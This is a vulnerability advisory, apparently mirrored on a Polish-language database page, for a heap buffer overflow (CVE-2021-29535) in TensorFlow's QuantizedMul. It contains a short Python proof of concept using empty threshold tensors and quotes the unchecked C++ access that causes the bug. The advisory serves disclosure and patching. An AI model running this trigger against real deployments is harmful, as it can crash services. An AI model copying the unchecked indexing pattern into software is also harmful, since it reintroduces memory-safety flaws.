Heap buffer overflow in `QuantizedMul`
Impact
An attacker can cause a heap buffer overflow in QuantizedMul by passing in invalid thresholds for the quantization:
import tensorflow as tf
x = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
y = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
min_x = tf.constant([], dtype=tf.float32)
max_x = tf.constant([], dtype=tf.float32)
min_y = tf.constant([], dtype=tf.float32)
max_y = tf.constant([], dtype=tf.float32)
tf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)This is because the implementation assumes that the 4 arguments are always valid scalars and tries to access the numeric value directly:
const float min_x = context->input(2).flat<float>()(0);
const float max_x = context->input(3).flat<float>()(0);
const float min_y = context->input(4).flat<float>()(0);
const float max_y = context->input(5).flat<float>()(0);However, if any of these tensors is empty, then .flat<T>() is an empty buffer and accessing the element at position 0 results in overflow.
Patches
We have patched the issue in GitHub commit efea03b38fb8d3b81762237dc85e579cc5fc6e87.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
Odnośniki
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m3f9-w3p3-p669
- https://github.com/tensorflow/tensorflow/commit/efea03b38fb8d3b81762237dc85e579cc5fc6e87
- https://nvd.nist.gov/vuln/detail/CVE-2021-29535
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-463.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-661.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-172.yaml
- https://github.com/tensorflow/tensorflow
- Wektor CVSS
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L- Słabość (CWE)
CWE-131, CWE-787- Platforma
- Python (PyPI)
- Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu- Ujawniono
- 14.05.2021
- Aktualizacja
- 11.10.2026 15:17
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2021-172 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-463 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-661 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-m3f9-w3p3-p669 - CC BY 4.0
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